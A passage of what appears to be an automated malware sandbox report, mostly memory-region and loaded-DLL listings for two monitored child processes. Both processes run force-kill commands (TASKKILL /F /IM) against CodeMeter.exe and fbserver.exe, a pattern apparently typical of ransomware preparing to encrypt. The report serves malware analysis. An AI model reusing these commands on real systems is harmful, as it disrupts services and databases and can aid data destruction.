0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 2272 start_va = 0x710000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 2273 start_va = 0x22b0000 end_va = 0x22effff entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 2274 start_va = 0x2370000 end_va = 0x23affff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 2275 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2276 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2277 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2278 start_va = 0x6a730000 end_va = 0x6a747fff entry_point = 0x6a731335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 2279 start_va = 0x6a750000 end_va = 0x6a7e5fff entry_point = 0x6a76f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Thread: id = 151 os_tid = 0x834 Thread: id = 152 os_tid = 0x8a0 Thread: id = 153 os_tid = 0x89c Thread: id = 154 os_tid = 0x898 Thread: id = 155 os_tid = 0x8c4 Process: id = "15" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5af41000" os_pid = "0x8f0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM CodeMeter.exe /IM CodeMeter.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2280 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2281 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2282 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2283 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2284 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2285 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2286 start_va = 0x220000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2287 start_va = 0x650000 end_va = 0x665fff entry_point = 0x655c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2288 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2289 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2290 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2291 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2292 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2293 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2294 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2295 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2296 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2297 start_va = 0x300000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2298 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2299 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2300 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2301 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2302 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2303 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2304 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2305 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2306 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2307 start_va = 0x7d0000 end_va = 0x7dffff entry_point = 0x0 region_type = private name = "private_0x00000000007d0000" filename = "" Region: id = 2308 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2309 start_va = 0x6a990000 end_va = 0x6a9c4fff entry_point = 0x6a9913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2310 start_va = 0x6a9d0000 end_va = 0x6a9defff entry_point = 0x6a9d12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2311 start_va = 0x6a9e0000 end_va = 0x6a9f0fff entry_point = 0x6a9e1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2312 start_va = 0x6aa00000 end_va = 0x6aa0cfff entry_point = 0x6aa011e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2313 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2314 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2315 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2316 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2317 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2318 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2319 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2320 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2321 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2322 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2323 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2324 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2325 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2326 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2327 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2328 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2329 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2330 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2331 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2332 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2333 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2334 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2335 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2336 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2337 start_va = 0x7e0000 end_va = 0x967fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 2338 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2339 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2340 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2341 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2342 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 2343 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2344 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2345 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000b0000" filename = "" Region: id = 2346 start_va = 0x380000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2347 start_va = 0x520000 end_va = 0x5dffff entry_point = 0x520000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2348 start_va = 0x700000 end_va = 0x73ffff entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 2349 start_va = 0x970000 end_va = 0xaf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 2350 start_va = 0xb00000 end_va = 0x1efffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b00000" filename = "" Region: id = 2351 start_va = 0x2040000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 2352 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 2353 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2354 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2355 start_va = 0x6a920000 end_va = 0x6a97bfff entry_point = 0x6a942b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 2356 start_va = 0x6a980000 end_va = 0x6a989fff entry_point = 0x6a98149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 2357 start_va = 0x1f70000 end_va = 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 2358 start_va = 0x2080000 end_va = 0x217ffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2359 start_va = 0x6a8f0000 end_va = 0x6a918fff entry_point = 0x6a8f6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 2360 start_va = 0x180000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2361 start_va = 0x5f0000 end_va = 0x62ffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 2362 start_va = 0x2180000 end_va = 0x244efff entry_point = 0x2180000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2363 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 2364 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 2365 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2366 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 2367 start_va = 0x290000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 2368 start_va = 0x3d0000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2369 start_va = 0x680000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 2370 start_va = 0x1fc0000 end_va = 0x1ffffff entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 2371 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 2372 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2373 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2374 start_va = 0x6a710000 end_va = 0x6a7a5fff entry_point = 0x6a72f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 2375 start_va = 0x6a8c0000 end_va = 0x6a8d7fff entry_point = 0x6a8c1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 156 os_tid = 0x908 Thread: id = 157 os_tid = 0x918 Thread: id = 158 os_tid = 0x8cc Thread: id = 159 os_tid = 0x8c8 Thread: id = 160 os_tid = 0x8c0 Process: id = "16" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x5ab46000" os_pid = "0x948" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM fbserver.exe /IM fbserver.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2376 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2377 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2378 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2379 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2380 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2381 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2382 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2383 start_va = 0x760000 end_va = 0x775fff entry_point = 0x765c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 2384 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2385 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2386 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2387 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2388 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2389 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2390 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2391 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2392 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2393 start_va = 0xe0000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2394 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2395 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2396 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2397 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 2398 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 2399 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2400 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2401 start_va = 0x1c0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2402 start_va = 0x2c0000 end_va = 0x326fff entry_point = 0x2c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2403 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2404 start_va = 0x6a8a0000 end_va = 0x6a98afff entry_point = 0x6a8a13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2405 start_va = 0x6a990000 end_va = 0x6a99efff entry_point = 0x6a9912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 2406 start_va = 0x6a9a0000 end_va = 0x6a9a8fff entry_point = 0x6a9a15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 2407 start_va = 0x6a9b0000 end_va = 0x6a9c0fff entry_point = 0x6a9b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 2408 start_va = 0x6a9d0000 end_va = 0x6aa04fff entry_point = 0x6a9d13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 2409 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 2410 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 2411 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2412 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2413 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 2414 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2415 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2416 start_va = 0x755a0000 end_va = 